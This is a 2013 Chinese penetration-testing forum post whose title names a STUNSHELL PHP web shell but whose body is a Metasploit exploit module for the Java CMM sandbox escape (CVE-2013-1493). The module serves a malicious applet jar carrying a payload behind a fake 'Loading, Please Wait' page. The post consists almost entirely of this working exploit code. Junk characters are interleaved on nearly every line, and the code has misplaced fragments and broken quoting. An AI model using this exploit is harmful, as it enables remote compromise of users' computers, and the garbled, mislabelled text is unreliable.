中国网络渗透测试联盟

标题: STUNSHELL PHP Web Shell远程执行代码 [打印本页]

作者: admin    时间: 2013-4-4 17:31
标题: STUNSHELL PHP Web Shell远程执行代码
##- M% F1 }# @! {- ~; P
8 P6 V; \" {3 v" o
# This file is part of the Metasploit Framework and may be subject to
: K% H+ @2 ~# G) O# redistribution and commercial restrictions. Please see the Metasploit# t6 W9 F0 ~& j
# web site for more information on licensing and terms of use.2 ?3 o6 t& @( ~' \; b0 u
# http://metasploit.com/
/ m; M1 P& S! [7 Y* v##
! z, @; e2 j& s- _; Y: Arequire ‘msf/core’
4 j4 J& k* b' k+ S4 zrequire ‘rex’8 n, m+ p* u; p1 h( z- N
class Metasploit3 < Msf::Exploit::Remote
5 e7 N. X5 ^" ^Rank = NormalRanking+ x' ~& l! |( Y  ]- B5 x0 I
include Msf::Exploit::Remote::HttpServer::HTML% j* D1 y1 \$ C- p; t
include Msf::Exploit::EXE  u5 y2 X# n6 U% Z4 h) Q& i6 I1 f
include Msf::Exploit::Remote::BrowserAutopwn
: \' N- k- R3 k& T, L! T& Qautopwn_info({ :javascript => false })' Z/ y" w! u2 T6 Z
def initialize( info = {} )
+ q" h9 |0 w) \8 g" s. L" o, Fsuper( update_info( info,
& N2 A3 N; O# f' t‘Name’ => ‘Java CMM Remote Code Execution’,. w. ^5 X6 u+ N: F! y& ?" Q% p
‘Description’ => %q{* \$ v# E. X9 G' h. E$ q3 K' Y
This module abuses the Color Management classes from a Java Applet to run
6 A: K9 b$ K3 q0 N9 tarbitrary Java code outside of the sandbox as exploited in the wild in February
' y/ S4 E& }; |' Vand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
3 e" _7 \! q# `0 R9 R! v8 Yand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
/ r2 D4 R' `4 @systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
$ z( y1 V$ G* }. L3 `% E- j( Zwarning in order to run the malicious applet.
; @& E: d/ R9 J9 r' Q9 R; J},
+ A- M5 v7 D1 J. v& O‘License’ => MSF_LICENSE,3 S# r3 o3 t/ k  f! A5 U
‘Author’ =>
* J5 N5 q+ f0 d! [: r- Q( g'Unknown', # Vulnerability discovery and Exploit7 w5 N* i+ ?: g9 E2 j! J
'juan vazquez' # Metasploit module (just ported the published exploit)2 j5 Q6 q- G, Y, q4 c# \
],
0 M* K7 K* r$ n1 t% p* n‘References’ =>' j9 F- r3 V% @3 ~
[
  D* Q0 k! i1 ]' E! N3 K[ 'CVE', '2013-1493' ],
5 M6 A/ w* [% r; @. h1 h[ 'OSVDB', '90737' ]," [; L2 Z6 T: V. |7 _( U5 _4 |/ {8 \
[ 'BID', '58238' ],/ W! i5 m' U8 V) ?1 I) ^$ {# U
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
5 |8 i! n8 F  }7 _0 d[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
7 ?8 ~9 {8 S+ ~) J0 S[ 'URL', 'http://pastie.org/pastes/6581034' ]9 u. V8 G3 I0 i: Y3 ?/ |
],
- g8 o: l, _+ L( |$ Q5 B‘Platform’ => [ 'win', 'java' ],4 C9 L3 m" @9 O- [, W6 M' S! ^
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
  k% }3 n+ q2 v. F* X4 O4 Q, u‘Targets’ =>5 Q/ t) O9 ~/ u2 f$ }
[
' S* b3 u- ^' t* S: [9 ?5 A[ 'Generic (Java Payload)',
' e: d9 O8 t5 L2 X! r! {! s% ]' Q{
4 U" t9 @8 X, M/ ^6 \$ Y! ^'Platform' => 'java',
/ h9 Q1 Z" Z- Z9 u  c'Arch' => ARCH_JAVA
5 M1 Y5 M5 H1 ~" z. M8 m% @}! {+ w* H- K& a
],4 \; V, y4 _" P$ |8 u9 i
[ 'Windows x86 (Native Payload)',& u/ u/ x' ]1 L" c
{
3 L3 _  n. c: u( w! X'Platform' => 'win',  |+ \" z' [  Y- s
'Arch' => ARCH_X86
' ]0 ]! v2 y0 t+ b}" p* N/ r6 l; p1 |
]
- b" j' a& ~4 T' s3 m* @$ h  A],3 j7 C& g% E* ^0 e5 P& \
‘‘DisclosureDate’ => ‘Mar 01 2013′
0 y6 s: a8 `2 j6 v))
- ]$ ]8 h9 i: D9 q- Jend/ j' x8 }. S: `
def setup
& }) S4 R, P$ _' D9 \, @5 q5 vpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
# j4 f4 x' f7 U$ ]" c1 \9 ~@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
" _9 s. @5 P% |! Jpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
7 r; \& v! w# J! H, k6 V# A( f@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
* F+ a7 ]: s0 q6 _: rpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)8 M0 A$ a7 K  Q4 f9 S, t
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
1 \, B- G/ l- y! b: ~path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)' C/ X3 s6 h! B6 Q* P
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
- s; B1 F4 b& n! d$ m@init_class_name = rand_text_alpha(“Init”.length)
& c1 B# N4 H7 u, l9 O@init_class.gsub!(“Init”, @init_class_name)
! O. t, u; _8 `* }8 Isuper- ]. L* i1 U. G! E3 c; {/ t
end
/ x! |! Y0 ^. j  n. f4 Wdef on_request_uri(cli, request)
# ]7 K# O& E6 a# \print_status(“handling request for #{request.uri}”)
5 h/ u! P8 f, c4 a0 i, dcase request.uri# Q* s1 u" F: J0 c
when /\.jar$/i
  J& B. |7 L5 c0 _* ~# zjar = payload.encoded_jar
4 f5 X4 V. a# k7 F9 f5 c) fjar.add_file(“#{@init_class_name}.class”, @init_class)
3 Z. d& j* c7 x4 e. k9 x; Xjar.add_file(“Leak.class”, @leak_class)( @) Z' L! V( A9 l# t/ h% B
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)/ t  D$ I' |# ]' y  d8 e6 ~: T
jar.add_file(“MyColorSpace.class”, @color_space_class); j5 r7 Z3 ?* R: C; R3 v
DefaultTarget’ => 1,9 S  }. I  v  S6 D  c( q- G
metasploit_str = rand_text_alpha(“metasploit”.length)
7 N* ^" \  A5 K( ~payload_str = rand_text_alpha(“payload”.length)8 l) J0 ?% ^5 y5 }( z; `
jar.entries.each { |entry|
- Q4 Q" F" [' r6 L3 h# X# Rentry.name.gsub!(“metasploit”, metasploit_str)4 z3 Q% x( d5 r
entry.name.gsub!(“Payload”, payload_str)
1 v# G& b7 J% V% a3 p9 v  Eentry.data = entry.data.gsub(“metasploit”, metasploit_str)% Z2 O+ u( i6 N# w
entry.data = entry.data.gsub(“Payload”, payload_str)& G+ Y( n, D. R% P
}: N. F% p4 L5 p4 B+ Z8 ]4 `  P/ J
jar.build_manifest" n9 V4 b5 W) A( d" m4 D' O& Z2 z
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })$ I2 v" q  R' W* m$ M/ ?2 O) O
when /\/$/4 g1 k+ n, G+ L
payload = regenerate_payload(cli)
! U1 }5 b; g6 g' N/ h4 b% aif not payload
! g* W$ B, u' o. Y4 Z" Iprint_error(“Failed to generate the payload.”)# g& Q# z7 ]; s
send_not_found(cli)
6 H6 k1 j3 [3 [2 _$ Sreturn. I5 f' I2 [9 ?! ?/ `6 ]5 F
end1 Z+ {+ R0 L% m' p0 B5 b. O+ j
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
; h' l* d. q( Z# O4 g0 c; Xelse4 v" ]- |; S) ^  ]7 g+ a
send_redirect(cli, get_resource() + ‘/’, ”)1 H% L( b/ x: H+ g
end
  C" @7 E) N) W- T, r1 J  send
9 a  [! ?" t: X) ~. U% d( Ndef generate_html: g4 \1 s- `7 U9 O3 z; T
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
6 D0 N, p2 F0 B  m/ w. uhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|/ r5 @( M* c5 |$ h$ F: x4 a; c
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
) c# M* n, ^1 I2 k, Mhtml += %Q|</applet></body></html>|
& D: o5 b. M) H1 p4 Ereturn html
4 t9 w5 E5 y4 X! N1 z% fend
) E' p: }2 R" H( L& {# Rend  _( f3 a  Q. r- `0 x; t" ?: M
end& p. i! B/ _( t: n: ?+ V& j





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2